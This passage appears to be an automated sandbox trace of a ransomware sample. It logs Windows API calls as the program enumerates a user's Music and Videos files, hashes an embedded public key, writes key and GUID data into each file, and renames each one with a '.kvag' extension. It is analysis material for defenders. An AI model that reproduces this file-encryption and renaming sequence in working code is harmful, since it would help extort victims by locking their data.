KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.208] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.208] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.208] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.208] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.209] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.209] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.209] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.209] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.209] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.209] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.209] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.209] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.210] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.210] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.210] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.210] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.210] CloseHandle (hObject=0x61c) returned 1 [0121.211] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\RmrshUTwC7.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\rmrshutwc7.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\RmrshUTwC7.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\rmrshutwc7.mp3.kvag")) returned 1 [0121.213] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa832e730, ftCreationTime.dwHighDateTime=0x1d4ce54, ftLastAccessTime.dwLowDateTime=0x16e39110, ftLastAccessTime.dwHighDateTime=0x1d4d31a, ftLastWriteTime.dwLowDateTime=0x16e39110, ftLastWriteTime.dwHighDateTime=0x1d4d31a, nFileSizeHigh=0x0, nFileSizeLow=0xbfc4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XxlqXWdRx.wav", cAlternateFileName="XXLQXW~1.WAV")) returned 1 [0121.213] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\XxlqXWdRx.wav") returned=".wav" [0121.213] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\XxlqXWdRx.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\xxlqxwdrx.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.213] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=49092) returned 1 [0121.213] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.215] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xbf9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.215] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.217] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xbfc4, lpOverlapped=0x0) returned 1 [0121.218] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.218] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.218] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.218] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.219] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.219] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.219] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.219] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.219] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.219] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.219] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.219] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.219] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.219] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.220] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xbfc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.220] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.220] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.220] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.220] CloseHandle (hObject=0x61c) returned 1 [0121.223] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\XxlqXWdRx.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\xxlqxwdrx.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\XxlqXWdRx.wav.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\xxlqxwdrx.wav.kvag")) returned 1 [0121.224] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaffdcab0, ftCreationTime.dwHighDateTime=0x1d4d193, ftLastAccessTime.dwLowDateTime=0xb7b0de50, ftLastAccessTime.dwHighDateTime=0x1d4cf1d, ftLastWriteTime.dwLowDateTime=0xb7b0de50, ftLastWriteTime.dwHighDateTime=0x1d4cf1d, nFileSizeHigh=0x0, nFileSizeLow=0x3485, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_nxiTSIPFD8.mp3", cAlternateFileName="_NXITS~1.MP3")) returned 1 [0121.224] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\_nxiTSIPFD8.mp3") returned=".mp3" [0121.224] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\_nxiTSIPFD8.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\_nxitsipfd8.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.224] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=13445) returned 1 [0121.225] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.227] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x345f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.227] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.228] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x3485, lpOverlapped=0x0) returned 1 [0121.229] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.229] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.229] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.229] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.230] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.230] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.230] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.230] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.230] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.230] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.230] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.230] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.230] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.230] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.231] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3485, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.231] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.231] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.231] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.231] CloseHandle (hObject=0x61c) returned 1 [0121.232] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\_nxiTSIPFD8.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\_nxitsipfd8.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\QgLkms-\\_nxiTSIPFD8.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\qglkms-\\_nxitsipfd8.mp3.kvag")) returned 1 [0121.233] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaffdcab0, ftCreationTime.dwHighDateTime=0x1d4d193, ftLastAccessTime.dwLowDateTime=0xb7b0de50, ftLastAccessTime.dwHighDateTime=0x1d4cf1d, ftLastWriteTime.dwLowDateTime=0xb7b0de50, ftLastWriteTime.dwHighDateTime=0x1d4cf1d, nFileSizeHigh=0x0, nFileSizeLow=0x3485, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_nxiTSIPFD8.mp3", cAlternateFileName="_NXITS~1.MP3")) returned 0 [0121.233] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.233] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.234] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.234] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\") returned="E8MPONl9OoHt_q1Da\\" [0121.234] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\") returned="PO z8nOyg\\" [0121.234] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0121.234] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.234] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.234] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.234] PathFindFileNameW (pszPath="") returned="" [0121.234] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe21d63c0, ftCreationTime.dwHighDateTime=0x1d4ce41, ftLastAccessTime.dwLowDateTime=0xc9189b00, ftLastAccessTime.dwHighDateTime=0x1d4cc2b, ftLastWriteTime.dwLowDateTime=0xc9189b00, ftLastWriteTime.dwHighDateTime=0x1d4cc2b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.238] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe21d63c0, ftCreationTime.dwHighDateTime=0x1d4ce41, ftLastAccessTime.dwLowDateTime=0xc9189b00, ftLastAccessTime.dwHighDateTime=0x1d4cc2b, ftLastWriteTime.dwLowDateTime=0xc9189b00, ftLastWriteTime.dwHighDateTime=0x1d4cc2b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.238] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a87150, ftCreationTime.dwHighDateTime=0x1d4c69f, ftLastAccessTime.dwLowDateTime=0xf8efce10, ftLastAccessTime.dwHighDateTime=0x1d4d537, ftLastWriteTime.dwLowDateTime=0xf8efce10, ftLastWriteTime.dwHighDateTime=0x1d4d537, nFileSizeHigh=0x0, nFileSizeLow=0x56eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="76xpNeygNMpcG-mLxW.avi", cAlternateFileName="76XPNE~1.AVI")) returned 1 [0121.238] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\76xpNeygNMpcG-mLxW.avi") returned=".avi" [0121.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\76xpNeygNMpcG-mLxW.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\76xpneygnmpcg-mlxw.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.239] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=22251) returned 1 [0121.239] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.241] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x56c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.241] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.243] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x56eb, lpOverlapped=0x0) returned 1 [0121.243] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.243] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.243] lstrlenA (lpString="-----BEGIN PUBLIC 